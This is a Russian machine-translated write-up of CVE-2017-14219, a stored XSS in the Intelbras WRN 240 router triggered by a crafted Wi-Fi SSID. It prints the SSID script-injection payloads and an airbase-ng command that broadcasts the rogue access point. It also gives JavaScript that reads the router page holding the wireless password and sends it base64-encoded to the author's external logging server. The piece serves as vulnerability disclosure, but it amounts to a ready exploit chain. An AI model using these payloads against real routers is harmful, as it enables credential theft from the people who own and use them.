[CVE-2017–14219] XSS В МАРШРУТИЗАТОРЕ INTELBRAS WRN 240.

Следуй за мной: https://twitter.com/Elber333

Как это началось:

Пытался ли я взломать свой роутер какое-то время, по каким причинам? Просто не хватает того, что делать, а иногда и отсутствия Интернета, это было от попыток загрузки с модифицированной прошивкой до попыток вставить коды на страницу, изменив идентификатор беспроводной сети, пока однажды я не заметил SSIDS других беспроводных точек в списке. перехват Wi-Fi сетей.

XSS:

Уязвимость присутствует в беспроводном маршрутизаторе Intel N 150 Мбит / с WRN 240 (только версия, протестированная мной на данный момент) на странице поиска маршрутизатора для использования в качестве моста.

URL: "http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm"

Маршрутизатор получает SSID из сетей и затем показывает его на экране без какого-либо фильтра типов или очистки *, соблюдая только ограничение в 32 символа беспроводной сети. Уязвимая страница не активна по умолчанию на маршрутизаторе, пользователь (жертва) должен будет активировать ее в настройках AP, но, к счастью (конечно), нам просто нужен авторизованный пользователь для доступа к html, где система показывает сети беспроводные устройства, которые находятся в пределах досягаемости. Действия, которые не составят труда для умного человека.

Чтобы поднять точку доступа, я использовал другой маршрутизатор, который у меня был, но ничего такого, что не удалось бы решить с помощью airbase-ng. Я изменил свой SSID на:

‹Script› alert (‘xss’) ‹/script›

Попытка, которая не увенчалась успехом, но снова изменилась на
‹/script› ‹script› alert ('xss'), где тег закрывал первое ‹/script› и запускал новый, используя преимущества оригинала. Тег ‹script› в конце файла.

Теперь, когда у нас есть xss, давайте перейдем к действительно важной части. При соблюдении 32-символьного ограничения беспроводного SSID, способ вставки длинных кодов на страницу будет импортироваться откуда-то еще, поэтому я изменил SSID на ‹script src = '// elb.me'› «elb.me» это мой домен, который я использую для сохранения полезной нагрузки.

Мы знаем, что для доступа к индексу страницы не обязательно нужен /index.*** в конце, поэтому я добавил свой скрипт в индекс elb.me. В методе кражи файлов cookie мы обычно используем скрипт на php, который берет то, что передается GET, и сохраняет его в файл журнала, он не будет сильно отличаться от того, что мы собираемся делать. Скрипт на PHP, который я настроил в https://elb.me/cookie.php?ck=, журналы сохраняются в« https://elb.me/cookie.txt

Маршрутизатор сохраняет пароль в ajax, расположенном на странице http://10.0.0.1/userRpm/WlanSecurityRpm.htm, нам нужен только источник этой страницы для получения учетных данных. В индекс elb.me я вставил скрипт в XMLHttpRequest, который позволяет запрашивать источник этой страницы и отправлять его нашему PHP-приемнику.

var rawFile = new XMLHttpRequest();
rawFile.onreadystatechange = function() {
       alert(rawFile.responseText);
       var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
       //  selects the part of the page with the credentials
       new Image().src="https://elb.me/cookie.php?ck="+btoa(base64);
       // sends the credentials encoded in base64
};
rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true);
//take the page source /popupSiteSurveyRpm.htm
rawFile.send();

Теперь, когда у нас есть полезная нагрузка, мы просто подключаем AP и ждем, пока кто-нибудь откроет страницу маршрутизатора, или мы можем отправить ссылку прямого доступа «http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm.

Тестируя на странице, получаю следующий результат:

Наш скрипт сработал :)

Теперь нам просто нужно перейти на страницу, где сохраняется сохраненная форма, «https://elb.me/cookies.txt.

И после decodarmoso base64 получаем свой пароль.

Командование авиабазы:

airbase-ng -e «‹/script›‹ script src = ’// elb.me’ ›» -c 8 -v wlan0mon

Текст перевел гугл-переводчик и блять.